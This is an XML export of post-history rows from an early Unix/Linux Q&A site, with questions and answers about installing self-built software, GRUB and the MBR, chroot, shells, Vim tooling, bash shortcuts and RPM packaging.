  <row Id="153" PostHistoryTypeId="2" PostId="84" RevisionGUID="844ccf91-5e24-46f2-93b3-5b928fcf6051" CreationDate="2010-08-10T20:07:45.357" UserId="18" Text="If you want to able to easily install and remove several applications you've built yourself, you can use [Stow](http://savannah.gnu.org/projects/stow) as a simple package manager." />
  <row Id="154" PostHistoryTypeId="2" PostId="85" RevisionGUID="50e107dd-2dd8-429c-93a4-c5f82409b906" CreationDate="2010-08-10T20:07:47.540" UserId="76" Text="Two things I'd recommend:&#xD;&#xA;&#xD;&#xA;System wide: use [stow][1] and install under /usr/local/stow/package-version. Then you can easily switch between version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In my home, or if I don't have /usr/local write permissions, I personally install programs under ~/.local, which is hinted by [XDG standard][2].&#xD;&#xA;&#xD;&#xA;You can also use stow locally, although I never did :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/stow/&#xD;&#xA;  [2]: http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html" />
  <row Id="155" PostHistoryTypeId="2" PostId="86" RevisionGUID="500eee7d-0ce6-4dba-a028-7502ef369528" CreationDate="2010-08-10T20:08:01.673" UserId="10" Text=" - [The Unix Time-sharing System][1] (10&#xD;&#xA;   pages) -- the original UNIX article&#xD;&#xA;   by UNIX authors Ken Thompson and&#xD;&#xA;   Dennis Ritchie, published back in&#xD;&#xA;   1974 &#xD;&#xA; - [Design of the Unix operating&#xD;&#xA;   system][2] -- the classic!&#xD;&#xA;&#xD;&#xA;  [1]: http://cm.bell-labs.com/cm/cs/who/dmr/cacm.pdf&#xD;&#xA;  [2]: http://www.amazon.com/Design-UNIX-Operating-System-Maurice/dp/0132017997" />
  <row Id="156" PostHistoryTypeId="2" PostId="87" RevisionGUID="c7a9cbe4-5499-4f55-9d61-48b1e2444e0c" CreationDate="2010-08-10T20:08:06.947" UserId="54" Text="Inside the process, the call would be `sched_setaffinity()`, or for pthreads stuff, `pthread_setaffinity_np()`" />
  <row Id="157" PostHistoryTypeId="2" PostId="88" RevisionGUID="b5565c0b-1154-4c02-928b-a21efc984367" CreationDate="2010-08-10T20:08:08.977" UserId="45" Text="You definitely want to read [Advanced Programming in the Unix Environment by Stevens][1].  Don't let the Advanced title scare you away, its very readable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/gp/product/0201563177?ie=UTF8&amp;tag=seekiscrat-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0201563177" />
  <row Id="158" PostHistoryTypeId="2" PostId="89" RevisionGUID="a1a82472-c8df-4de6-8879-177132f2ac57" CreationDate="2010-08-10T20:08:49.723" UserId="31" Text="I've been using [tcsh][1] for years.  Its backwards compatible with csh, but adds a bunch of useful features like command completion, command history, etc.  This is just for interactive use.  For scripting, I don't think there is any reason to use anything other than bash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tcsh.org/Welcome" />
  <row Id="159" PostHistoryTypeId="2" PostId="90" RevisionGUID="546b4bce-06a4-46cf-b8df-ab51d3a3844b" CreationDate="2010-08-10T20:09:06.057" UserId="29" Text="[FHS says to put it in /usr/local][1] where distributions shouldn't be touching it.  `/usr/local/bin` for the binaries `/usr/local/src` for the source and `/usr/local/lib` for libraries. See the [FHS spec][2] for more info&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#USRLOCALLOCALHIERARCHY&#xD;&#xA;  [2]:  http://www.pathname.com/fhs/pub/fhs-2.3.html#USRLOCALLOCALHIERARCHY" />
  <row Id="160" PostHistoryTypeId="2" PostId="91" RevisionGUID="ab7e8362-55d9-4089-8d4a-265bede0521b" CreationDate="2010-08-10T20:09:22.047" UserId="85" Text="Linux Systems Programming or any other book by Robert Love (these are all O'Reilly books):&#xD;&#xA;&#xD;&#xA;http://oreilly.com/catalog/9780596009588" />
  <row Id="161" PostHistoryTypeId="2" PostId="92" RevisionGUID="b0d83456-e9d3-4eaa-862f-a1d5a7d4f780" CreationDate="2010-08-10T20:09:46.490" UserId="28" Text="Since I'm usually halfway into a command line before wanting to search (CTRL-R in bash) I have the following in my .bashrc&#xD;&#xA;&#xD;&#xA;    bind '&quot;\e[A&quot;':history-search-backward&#xD;&#xA;    bind '&quot;\e[B&quot;':history-search-forward&#xD;&#xA;&#xD;&#xA;This means that if I type cd then press up/down I can see all the options that I have cd'd to. Basically I use this for often used dirs. Like &quot;cd w&lt;up&gt;&quot; and I'm ending up going through all the workspaces I use lots." />
  <row Id="162" PostHistoryTypeId="16" PostId="92" RevisionGUID="b0d83456-e9d3-4eaa-862f-a1d5a7d4f780" CreationDate="2010-08-10T20:09:46.490" UserId="-1" />
  <row Id="163" PostHistoryTypeId="2" PostId="93" RevisionGUID="2615c60a-be79-4fe9-96ac-b1534c45f9f6" CreationDate="2010-08-10T20:09:58.813" UserId="26" Text="Use mdadm, check the manpage. However, I will list one gothca here. If you do this and really want reliability, you should make sure your master boot record is copied to both drives. By default it will likely only get copied to one drive. If that drive dies, you cannot boot from the other drive, even though all your data is safe." />
  <row Id="164" PostHistoryTypeId="2" PostId="94" RevisionGUID="a8dba3b6-32de-4762-8b02-d8445e6d33e5" CreationDate="2010-08-10T20:11:26.610" UserId="58" Text="Hello. I have a dual boot setup with linux and Windows 7 with Grub as the bootloader.&#xD;&#xA;&#xD;&#xA;My partition table looks like this:&#xD;&#xA;&#xD;&#xA;100 MB System Reserved Windows 7&#xD;&#xA;500 GB Windows 7&#xD;&#xA;100 MB /boot - ext2&#xD;&#xA;500 GB linux, swap, etc.&#xD;&#xA;&#xD;&#xA;I'm curious where GRUB installed itself after I had this setup right here.&#xD;&#xA;&#xD;&#xA;I thought the System Reserved partition was Windows 7's booting partition, but if Grub rewrote over it (I assume on the master boot record), it seems like Windows 7 would not be able to run.&#xD;&#xA;&#xD;&#xA;Where does Grub install itself and still manage to point to both Windows and linux? Does it depend on how you set your partitions?" />
  <row Id="165" PostHistoryTypeId="1" PostId="94" RevisionGUID="a8dba3b6-32de-4762-8b02-d8445e6d33e5" CreationDate="2010-08-10T20:11:26.610" UserId="58" Text="Grub location - mbr or elsewhere?" />
  <row Id="166" PostHistoryTypeId="3" PostId="94" RevisionGUID="a8dba3b6-32de-4762-8b02-d8445e6d33e5" CreationDate="2010-08-10T20:11:26.610" UserId="58" Text="égrubàédualöbootà" />
  <row Id="167" PostHistoryTypeId="2" PostId="95" RevisionGUID="8e2e5dc1-7535-4b83-94ab-bbe65a1bc0f9" CreationDate="2010-08-10T20:11:47.047" UserId="57" Text="You need to install schedutils (Linux scheduler utilities).&#xD;&#xA;I have use it on my Ubuntu Desktop.&#xD;&#xA;&#xD;&#xA;SF [link][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/schedutils/" />
  <row Id="168" PostHistoryTypeId="4" PostId="14" RevisionGUID="08d06dcc-4c2d-47f8-92bf-d4b8980108f7" CreationDate="2010-08-10T20:11:50.370" UserId="60" Comment="Changed spelling" Text="Which less popular shells do you use and what are their advantages?" />
  <row Id="169" PostHistoryTypeId="2" PostId="96" RevisionGUID="329e22a4-6374-4eed-b51d-bd21a1b55905" CreationDate="2010-08-10T20:12:00.103" UserId="45" Text="I have a little different setup than most people because I do a lot of development.  I have a /home/jackson/bin/ directory that I install stuff into and I've edited my .bashrc adding this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    export PATH=/home/jackson/bin/bin::$PATH&#xD;&#xA;    export LD_LIBRARY_PATH=/home/jackson/bin/lib:$LD_LIBRARY_PATH&#xD;&#xA;    export PKG_CONFIG_PATH=/home/jackson/bin/lib/pkgconfig:$PKG_CONFIG_PATH&#xD;&#xA;&#xD;&#xA;I wouldn't do this for everything, but its nice during development." />
  <row Id="172" PostHistoryTypeId="5" PostId="87" RevisionGUID="b21d38dd-ab9f-4e9e-92e7-357d0feeb3f1" CreationDate="2010-08-10T20:13:21.070" UserId="54" Comment="Mention NUMA" Text="Inside the process, the call would be `sched_setaffinity()`, or for pthreads stuff, `pthread_setaffinity_np()`&#xD;&#xA;&#xD;&#xA;On a related note, if you're worrying about CPU affinity of your program, it may be worthwhile to pay attention to how it's doing memory allocation as well. Larger systems with memory attached to more than one controller (i.e. multiple CPU sockets, each with their own) will have variable latency and bandwidth between different CPU-memory pairs. You'll want to look into NUMA affinity as well, using the `numactl` command or the system calls that it works with. One program I worked on got a 10% performance improvement from this." />
  <row Id="173" PostHistoryTypeId="5" PostId="86" RevisionGUID="79710bea-9255-4c91-a96a-268856261277" CreationDate="2010-08-10T20:13:50.583" UserId="10" Comment="added 140 characters in body; added 61 characters in body" Text=" - [The Unix Time-sharing System][1] (10&#xD;&#xA;   pages) -- the original UNIX article&#xD;&#xA;   by UNIX authors Ken Thompson and&#xD;&#xA;   Dennis Ritchie, published back in&#xD;&#xA;   1974 &#xD;&#xA; - [Design of the Unix operating&#xD;&#xA;   system][2] -- the classic!&#xD;&#xA; - [Lion's Commentary on UNIX Kernel source code][3] and the corresponding [source code itself][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cm.bell-labs.com/cm/cs/who/dmr/cacm.pdf&#xD;&#xA;  [2]: http://www.amazon.com/Design-UNIX-Operating-System-Maurice/dp/0132017997&#xD;&#xA;  [3]: http://www.lemis.com/grog/Documentation/Lions/book.pdf&#xD;&#xA;  [4]: http://v6.cuzuco.com/v6.pdf" />
  <row Id="174" PostHistoryTypeId="2" PostId="98" RevisionGUID="cf674e85-802c-494a-9210-cae66d908809" CreationDate="2010-08-10T20:15:17.570" UserId="98" Text="I like [fish][1], although I rarely use it myself. It's tremendously helpful for beginners who haven't met sh and think bash is unfriendly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fishshell.org/index.php" />
  <row Id="175" PostHistoryTypeId="2" PostId="99" RevisionGUID="87753998-cc52-4d53-8776-12147b9911ef" CreationDate="2010-08-10T20:16:28.970" UserId="122" Text="There appear be a number of ways to do this including loops in shell script, find and xargs. Which of these is best, and which is most portable?" />
  <row Id="176" PostHistoryTypeId="1" PostId="99" RevisionGUID="87753998-cc52-4d53-8776-12147b9911ef" CreationDate="2010-08-10T20:16:28.970" UserId="122" Text="Best way run a command on each file in a directory tree" />
  <row Id="177" PostHistoryTypeId="3" PostId="99" RevisionGUID="87753998-cc52-4d53-8776-12147b9911ef" CreationDate="2010-08-10T20:16:28.970" UserId="122" Text="éunixàécommandölineàéfilesystemsàéscriptingà" />
  <row Id="178" PostHistoryTypeId="2" PostId="100" RevisionGUID="392e5abb-a981-46d0-80f2-e80ab4fafb3c" CreationDate="2010-08-10T20:17:47.767" UserId="119" Text="Hi All,&#xD;&#xA;&#xD;&#xA;Perhaps I'm misunderstanding what KVM is capable of but the ability to add/remove hardware on the vm seems to imply I can add a serial port that then acts as a terminal.&#xD;&#xA;&#xD;&#xA;So, my questions are:&#xD;&#xA; &#xD;&#xA; 1. Which settings are best for the guest freebsd distribution? (There are many!)&#xD;&#xA; 2. How do I access said terminal from my Linux host?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="179" PostHistoryTypeId="1" PostId="100" RevisionGUID="392e5abb-a981-46d0-80f2-e80ab4fafb3c" CreationDate="2010-08-10T20:17:47.767" UserId="119" Text="How do I connect a serial terminal to a KVM instance?" />
  <row Id="180" PostHistoryTypeId="3" PostId="100" RevisionGUID="392e5abb-a981-46d0-80f2-e80ab4fafb3c" CreationDate="2010-08-10T20:17:47.767" UserId="119" Text="élinuxàéfreebsdàékvmà" />
  <row Id="181" PostHistoryTypeId="2" PostId="101" RevisionGUID="0d55b9a2-cb46-447f-b91c-22a55b3b0127" CreationDate="2010-08-10T20:18:01.027" UserId="89" Text="Purchase faster RAM and make sure your system is using all of it. What CPU and architecture are you using?" />
  <row Id="182" PostHistoryTypeId="2" PostId="102" RevisionGUID="e4f8dbfd-0d0d-41a5-afa8-fdc6aa27e2c0" CreationDate="2010-08-10T20:19:49.557" UserId="88" Text="Grub will install itself to the master boot record of your drive.  It's important to realize that the master boot record is the first sector of your partitioned drive, and not a partition  itself.  See [Wikipedia][1] for more information&#xD;&#xA;&#xD;&#xA;Given this information, basically Grub will overwrite the MBR information that Windows 7 installed, but it won't touch the &quot;System Reserved Partition&quot; that Windows 7 creates (unless you ask it to).  The new MBR will simply tell your system to load GRUB, and then GRUB will ensure that the proper OS is loaded.  This makes it easy for you to switch between operating systems.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Master_boot_record" />
  <row Id="183" PostHistoryTypeId="2" PostId="103" RevisionGUID="b7230147-e762-4034-bedf-c5dfa5f72698" CreationDate="2010-08-10T20:20:31.380" UserId="5" Text="    find . -exec &lt;command&gt; {} \;&#xD;&#xA;&#xD;&#xA;for the current directory as the root of the tree or in general:&#xD;&#xA;&#xD;&#xA;    find &lt;directory&gt; -exec &lt;command&gt; {} \;" />
  <row Id="184" PostHistoryTypeId="2" PostId="104" RevisionGUID="62bdb94b-016e-4929-b528-b8d3802feb69" CreationDate="2010-08-10T20:20:52.173" UserId="98" Text="If portability is an issue I would stay away from shell-specific ways of doing it (there are lots of people using lots of different shells, but in general find and xargs are really basic tools that no one would dare changing in a radical way).&#xD;&#xA;&#xD;&#xA;Using basic arguments of find and xargs should give you a more portable solution." />
  <row Id="185" PostHistoryTypeId="2" PostId="105" RevisionGUID="fa0fb38e-89f0-4b29-bb09-1c24cd44842e" CreationDate="2010-08-10T20:20:55.870" UserId="119" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I have heard/read a lot about the chroot jail under linux but have never yet used it (I use Fedora day-to-day), so what is a chroot &quot;jail&quot;? When and why might I use it/not use it and is there anything else I should know? How would I go about creating one?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="186" PostHistoryTypeId="1" PostId="105" RevisionGUID="fa0fb38e-89f0-4b29-bb09-1c24cd44842e" CreationDate="2010-08-10T20:20:55.870" UserId="119" Text="chroot &quot;jail&quot; - what is it and how do I use it?" />
  <row Id="187" PostHistoryTypeId="3" PostId="105" RevisionGUID="fa0fb38e-89f0-4b29-bb09-1c24cd44842e" CreationDate="2010-08-10T20:20:55.870" UserId="119" Text="élinuxàéunixàéchrootà" />
  <row Id="188" PostHistoryTypeId="2" PostId="106" RevisionGUID="b38e7e4c-20d8-4a88-b60b-06dd27f866fd" CreationDate="2010-08-10T20:21:09.927" UserId="116" Text="Rather than relying just on partitions, under Linux I usually recommend using LVM. This allows you to grown and shrink filesystems as needed later (though growing tends to be easier than shrinking), even wile the file system is active in the case of ext2/3/4 (I've successfully increased the size of filesystems while they were active, though I've never tried to decrease the size of one this way).&#xD;&#xA;&#xD;&#xA;Obviously this still leaves you to decide how to apportion the space, but you don't have to get it exactly right from the get go because rearranging things later is easier. I usually give each volume as much space as I think it will need plus a chunk for good luck, and leave the remaining space for adding new filesystems or expanding existing ones into later." />
  <row Id="189" PostHistoryTypeId="2" PostId="107" RevisionGUID="779f6813-f1d2-441e-8873-f28d03315013" CreationDate="2010-08-10T20:22:34.183" UserId="84" Text="I've been using Vim as my text editor for a little while now and I feel like I'm taking the long way to do anything. I use ctags to tag my code base for navigation and I use grep (although inefficiently) to find where certain methods are used. But I have a feeling there are some very useful tools out there that I don't know about that could make me more productive.&#xD;&#xA;&#xD;&#xA;What is the best software stack I could use for general programming that would complement Vim?" />
  <row Id="190" PostHistoryTypeId="1" PostId="107" RevisionGUID="779f6813-f1d2-441e-8873-f28d03315013" CreationDate="2010-08-10T20:22:34.183" UserId="84" Text="What are the best general purpose programming tools to complement Vim?" />
  <row Id="191" PostHistoryTypeId="3" PostId="107" RevisionGUID="779f6813-f1d2-441e-8873-f28d03315013" CreationDate="2010-08-10T20:22:34.183" UserId="84" Text="éutilitiesàévimàéprogrammingà" />
  <row Id="192" PostHistoryTypeId="2" PostId="108" RevisionGUID="d580f781-60cf-4948-80f8-9fd5068b0a44" CreationDate="2010-08-10T20:22:58.613" UserId="73" Text="When Windows installs itself, it puts a bootloader (NTLDR in NT through XP; winboot after that) in the master boot record that reads `boot.ini` to show you the boot list. Once you pick something from that list, the bootloader's job is done, and the appropriate kernel is started from an actual partition on your drive.&#xD;&#xA;&#xD;&#xA;Grub does the same thing; the bootloader is only there to show the `grub.conf`/`menu.lst` list, and once you've picked something it transfers control to a regular partition. Thus grub will overwrite the NTLDR/winboot in the MBR, but not anything in a normal partition, and it knows how to transfer control to a Windows partition if you choose Windows from the boot list" />
  <row Id="193" PostHistoryTypeId="2" PostId="109" RevisionGUID="92356aca-bd69-4f35-9a6e-4bec2fa87c1e" CreationDate="2010-08-10T20:26:50.163" UserId="136" Text="A chroot jail is a way to isolate a process from the rest of the system.  It should only be used for processes that don't run as root, as root users can break out of the jail very easily.&#xD;&#xA;&#xD;&#xA;The idea is that you create a directory tree where you copy or link in all the system files needed for a process to run.  You then use the chroot system call to change the root directory to be at the base of this new tree and start the process running in that chroot'd environment.  Since it can't actually reference paths outside the modified root, it can't maliciously read or write to those locations.&#xD;&#xA;&#xD;&#xA;On Linux, using a bind mounts is a great way to populate the chroot tree.  Using that, you can pull in folders like /lib and /usr/lib while not pulling in /user, for example.  Just bind the directory trees you want to directories you create in the jail directory." />
  <row Id="194" PostHistoryTypeId="2" PostId="110" RevisionGUID="3dcb1f1d-ee44-4f29-bdff-a0df981c65a3" CreationDate="2010-08-10T20:29:18.253" UserId="45" Text="Basically you are just changing the root directory of your environment.  So&#xD;&#xA;&#xD;&#xA;    /&#xD;&#xA;&#xD;&#xA;becomes&#xD;&#xA;&#xD;&#xA;    /some-jail/ (or whatever directory you want)&#xD;&#xA;&#xD;&#xA;When an application accesses / they'll get /some-jail/.  Also the application can't break out of /some-jail/ so you know it won't access anything else on your machine. Its a very simple way of saying 'hey you can only access these things that I am giving you, and you can't access anything else on the system.&#xD;&#xA;" />
  <row Id="196" PostHistoryTypeId="2" PostId="112" RevisionGUID="23f808db-e6c6-497d-a0c0-88ed4f462cc5" CreationDate="2010-08-10T20:30:02.790" UserId="107" Text="Books/sites/manuals that i am using frequently:&#xD;&#xA;&#xD;&#xA; - The Linux Kernel: This book published online as a part of TLDP (The Linux Documentation Project). It is not up-to-date and not an internal manual, but provides useful information and introductory materials about principles and mechanisms of the kernel.&#xD;&#xA;URL: http://tldp.org/LDP/tlk/&#xD;&#xA;&#xD;&#xA; - Understanding Linux Kernel: IMHO, It is the best book for beginners who has background  about the operating systems' design and concept. It is accepted as up-to-date, covers version 2.6 of the kernel. There is an HTML version of the book on the web. Most probably it is warez.&#xD;&#xA;URL: http://book.opensourceproject.org.cn/kernel/kernel3rd/index.html&#xD;&#xA;&#xD;&#xA;While studying linux kernel internal, you usually need to learn how hardware works and what hardware provides in abstract manner. Intel has great manuals for this.&#xD;&#xA;&#xD;&#xA; - Intel 64 and IA-32 Architectures Software Developer's Manuals: Up-to-date, detailed information.&#xD;&#xA;URL: http://www.intel.com/products/processor/manuals/&#xD;&#xA;&#xD;&#xA; - Intel 80386 Programmer's Reference Manual: I know this is a little bit old but i've learned so many things from this manual.&#xD;&#xA;URL: http://www.logix.cz/michal/doc/i386/&#xD;&#xA;&#xD;&#xA;If you need to study about operating systems' desing and concept I suggest following book:&#xD;&#xA;Operating System Concepts, URL: http://www.amazon.com/Operating-System-Concepts-Abraham-Silberschatz/dp/0470128720/ref=dp_cp_ob_b_title_1#reader_0470128720" />
  <row Id="197" PostHistoryTypeId="5" PostId="104" RevisionGUID="43230265-61de-4cef-a107-0b441900984c" CreationDate="2010-08-10T20:31:07.093" UserId="98" Comment="grammar error" Text="If portability is an issue I would stay away from shell-specific ways of doing it (there are lots of people using lots of different shells, but in general find and xargs are really basic tools that no one would dare change in a radical way).&#xD;&#xA;&#xD;&#xA;Using basic arguments of find and xargs should give you a more portable solution." />
  <row Id="198" PostHistoryTypeId="2" PostId="113" RevisionGUID="99036cdd-2825-4945-81d2-c009eaddce4a" CreationDate="2010-08-10T20:31:47.140" UserId="73" Text="&quot;chroot jail&quot; is a misnomer that should really die out, but people keep using it. `chroot` is a tool that lets you simulate a directory on your filesystem as the root of the filesystem. That means you can have a folder structure like:&#xD;&#xA;&#xD;&#xA;    -- foo&#xD;&#xA;        -- bar&#xD;&#xA;        -- baz&#xD;&#xA;    -- bazz&#xD;&#xA;&#xD;&#xA;If you `chroot foo` and do `ls /`, you'll see:&#xD;&#xA;&#xD;&#xA;    -- bar&#xD;&#xA;    -- baz&#xD;&#xA;&#xD;&#xA;As far as `ls` (and any other tools you run) are concerned, those are the only directories on the filesystem. The reason &quot;jail&quot; is a misnomer is `chroot` is not intended to *force* a program to stay in that simulated filesystem; a program that knows it's in a chroot &quot;jail&quot; can fairly easily escape, so you shouldn't use `chroot` as a security measure to prevent a program from modifying files outside your simulated filesystem" />
  <row Id="199" PostHistoryTypeId="2" PostId="114" RevisionGUID="885dbdbd-030d-49ff-9972-cdd82ac623c9" CreationDate="2010-08-10T20:31:48.653" UserId="57" Text="my favorite is cscope. If you have compiled vim with cscope support you can directly use cscope commands from VIM. e.g. searching for included file , functions called by xyz function etc.&#xD;&#xA;I have tried it with very large source code repository. Its helps alot.&#xD;&#xA;&#xD;&#xA;http://cscope.sourceforge.net/cscope_vim_tutorial.html&#xD;&#xA;" />
  <row Id="200" PostHistoryTypeId="2" PostId="115" RevisionGUID="45a16539-4caa-43b7-a0c8-0a4156c1064b" CreationDate="2010-08-10T20:32:45.907" UserId="140" Text="The only time I'd install GRUB to someplace that isn't the MBR is when on a Mac - the whole dual-booting question gets rather more complex there. In the general case, GRUB will be installed to the MBR, overwriting NTLDR, and allowing you to boot Linux or Windows." />
  <row Id="201" PostHistoryTypeId="2" PostId="116" RevisionGUID="58827fcf-8d7a-4262-a169-9238365aab12" CreationDate="2010-08-10T20:33:45.527" UserId="19" Text="Only Chuck Norris programs in VIM.  As a long time Linux programmer, I'd advise using an IDE.&#xD;&#xA;&#xD;&#xA;Bash coding is a possible exception.  I don't think there are any IDE's for bash." />
  <row Id="202" PostHistoryTypeId="5" PostId="79" RevisionGUID="545168c3-f725-418f-9a49-926f909ee471" CreationDate="2010-08-10T20:34:06.743" UserId="73" Comment="added 52 characters in body" Text="If a command takes stdin input, you can read the input from a file with `&lt;filename`. This can appear anywhere in the command, so these lines are equivalent:&#xD;&#xA;&#xD;&#xA;    cat filename&#xD;&#xA;    cat &lt;filename&#xD;&#xA;    &lt;filename cat&#xD;&#xA;&#xD;&#xA;This is particularly useful for grep, as it allows you to place the expression at the end of the line, so you can quickly modify a grep command it by hitting &lt;kbd&gt;Up&lt;/kbd&gt;, without needing to scroll left to get past the filename:&#xD;&#xA;&#xD;&#xA;    &lt;filename grep 'expression'&#xD;&#xA;" />
  <row Id="203" PostHistoryTypeId="2" PostId="117" RevisionGUID="817f0f4c-0805-473b-9039-c45a644d6065" CreationDate="2010-08-10T20:35:59.250" UserId="132" Text="Swapping will heavily decrease performance no matter what, so it's best to avoid that altogether. This may sound stupid, but one option is to not configure a swap partition. I've been running swap-free on all my systems for some time now:&#xD;&#xA;&#xD;&#xA; - 1 GB on the netbook is enough for browsing the web, listening to music and other lightweight stuff.&#xD;&#xA; - 4 GB on my desktop is enough for all above things plus development (even in Eclipse) and basic image editing.&#xD;&#xA;&#xD;&#xA;If you do something that's really memory intensive (Gimp with large images, 3D modelling, CAD) than you should probably purchase some RAM." />
  <row Id="204" PostHistoryTypeId="2" PostId="118" RevisionGUID="7ae8c657-c7a5-4590-a1a1-ccc3c273ca81" CreationDate="2010-08-10T20:36:18.190" UserId="140" Text="Rule of thumb, at least on Debian-flavoured systems:&#xD;&#xA;&#xD;&#xA;/usr/local for stuff which is &quot;systemwide&quot; - i.e. /usr/local tends to be in a distro's default $PATH, and follows a standard UNIX directory hierarchy with /usr/local/bin, /usr/local/lib, etc.&#xD;&#xA;&#xD;&#xA;/opt for stuff you don't trust to make systemwide, with per-app prefixes - i.e. /opt/firefox-3.6.8, /opt/mono-2.6.7, and so on. Stuff in here requires more careful management, but is also less likely to break your system - and is easier to remove since you just delete the folder and it's gone." />
  <row Id="205" PostHistoryTypeId="2" PostId="119" RevisionGUID="0e03b839-1158-4eeb-abb5-de9586283882" CreationDate="2010-08-10T20:39:23.080" UserId="29" Text="When I look at a man page in my 'console' (not an xterm) I see some coloration, but I don't get this in my xterm's (e.g. konsole) is there any way I can enable this? hopefully a fairly simple solution?" />
  <row Id="206" PostHistoryTypeId="1" PostId="119" RevisionGUID="0e03b839-1158-4eeb-abb5-de9586283882" CreationDate="2010-08-10T20:39:23.080" UserId="29" Text="Colors in Man Pages" />
  <row Id="207" PostHistoryTypeId="3" PostId="119" RevisionGUID="0e03b839-1158-4eeb-abb5-de9586283882" CreationDate="2010-08-10T20:39:23.080" UserId="29" Text="élessàécolorsàémanàépagerà" />
  <row Id="208" PostHistoryTypeId="2" PostId="120" RevisionGUID="e1b6a3f7-b08e-4b26-87a4-da78961a9cde" CreationDate="2010-08-10T20:40:16.947" UserId="125" Text="You can try [Kickstart][1] or you may want to set up a PXE install/boot server for multiple distros. Or if some of your machines are diskless you can try [LTPS][2] method (this is what is generally called - thin client - IIRC), also see [here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Anaconda/Kickstart&#xD;&#xA;  [2]: http://www.ltsp.org/&#xD;&#xA;  [3]: https://fedorahosted.org/k12linux/" />
  <row Id="209" PostHistoryTypeId="12" PostId="41" RevisionGUID="ca84a3cf-e0b4-43d3-bb9a-e1ddc051f93a" CreationDate="2010-08-10T20:40:42.750" UserId="57" Text="[{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Hemant&quot;}]" />
  <row Id="210" PostHistoryTypeId="13" PostId="41" RevisionGUID="8197b936-09b6-4c72-8138-eb5cf78e951f" CreationDate="2010-08-10T20:41:11.673" UserId="57" Text="[{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Hemant&quot;}]" />
  <row Id="211" PostHistoryTypeId="2" PostId="121" RevisionGUID="7bdfcf48-bc36-472b-aee9-57b88464827f" CreationDate="2010-08-10T20:41:25.073" UserId="138" Text="Since the problem seems isolated to just one interface -- I assume you're using plain old class C masks for these two networks -- I'd just quickly bounce it:&#xD;&#xA;&#xD;&#xA;    # ifconfig en0 down&#xD;&#xA;    # ifconfig en0 up&#xD;&#xA;&#xD;&#xA;Obviously you need to substitute the correct interface name here for `en0`.&#xD;&#xA;&#xD;&#xA;You may have to restart any servers listening on that interface, and any established TCP connections using it will drop when you do this.  It's brief, though, so I don't really view such a test as &quot;downtime&quot;.&#xD;&#xA;&#xD;&#xA;Be sure not to do this while ssh'd in to the box on the interface you're bouncing.  It's best to log in on the console when you do this, if you can.  If the server is remote, a modem connection is best, since bouncing the network interfaces won't affect serial gettys.  If you must do this while logged in over the network, be sure your connection is coming in over a different interface." />
  <row Id="212" PostHistoryTypeId="2" PostId="122" RevisionGUID="f1df978c-df2b-4653-b4f1-012d1a9ffaa0" CreationDate="2010-08-10T20:41:56.773" UserId="100" Text="Two bash functions which save me many key strokes.&#xD;&#xA;&#xD;&#xA;Do automatically an ls after every successfull cd:&#xD;&#xA;&#xD;&#xA;    function cd {&#xD;&#xA;        builtin cd &quot;$@&quot; &amp;&amp; ls&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Go up n levels:&#xD;&#xA;&#xD;&#xA;    # Usage .. [n]&#xD;&#xA;    function .. (){&#xD;&#xA;        local arg=${1:-1};&#xD;&#xA;        local dir=&quot;&quot;&#xD;&#xA;        while [ $arg -gt 0 ]; do&#xD;&#xA;            dir=&quot;../$dir&quot;&#xD;&#xA;            arg=$(($arg - 1));&#xD;&#xA;        done&#xD;&#xA;        cd $dir #&gt;&amp;/dev/null&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="213" PostHistoryTypeId="16" PostId="122" RevisionGUID="f1df978c-df2b-4653-b4f1-012d1a9ffaa0" CreationDate="2010-08-10T20:41:56.773" UserId="-1" />
  <row Id="214" PostHistoryTypeId="2" PostId="123" RevisionGUID="72e9e835-653e-47bf-8c56-5c59b2b8c14f" CreationDate="2010-08-10T20:44:22.460" UserId="140" Text="I need to use NSCD, the Name Service Caching Daemon, to decrease load on our LDAP server, on my SLES10 systems. In my experience, the default nscd, supplied as part of GNU LibC, is garbage, and will break horribly every few hours. As a result, using a replacement, such as unscd or gnscd is mandatory.&#xD;&#xA;&#xD;&#xA;There aren't packages for either of these in SLES10, so compiling up a package is required. However, there's a problem with AppArmor - in SLE10, every single app has had its AppArmor profile merged together into one big &quot;apparmor-profiles&quot; package, rather than letting each package provide its own profile - and unscd/gnscd don't work with the profiles in apparmor-profiles.&#xD;&#xA;&#xD;&#xA;When making a Debian package, it's possible to specify a relationship called Replaces:, which says &quot;I know I include the same file as this other package, but I can overwrite their file as long as their version matches this check&quot;. As a result, I could say something like &quot;Replaces: apparmor-profiles (&lt;= 2.0.1-20.20.16)&quot; in my spec file, and I could cleanly replace any file from the apparmor-profiles package.&#xD;&#xA;&#xD;&#xA;How would I do the same with RPM, short of recompiling my own apparmor-profiles package with the file removed, or forcing the package through the rpm command (which is asking for problems in the future)?" />
  <row Id="215" PostHistoryTypeId="1" PostId="123" RevisionGUID="72e9e835-653e-47bf-8c56-5c59b2b8c14f" CreationDate="2010-08-10T20:44:22.460" UserId="140" Text="How do I emulate the &quot;Replaces:&quot; function of a Debian package in an RPM?" />
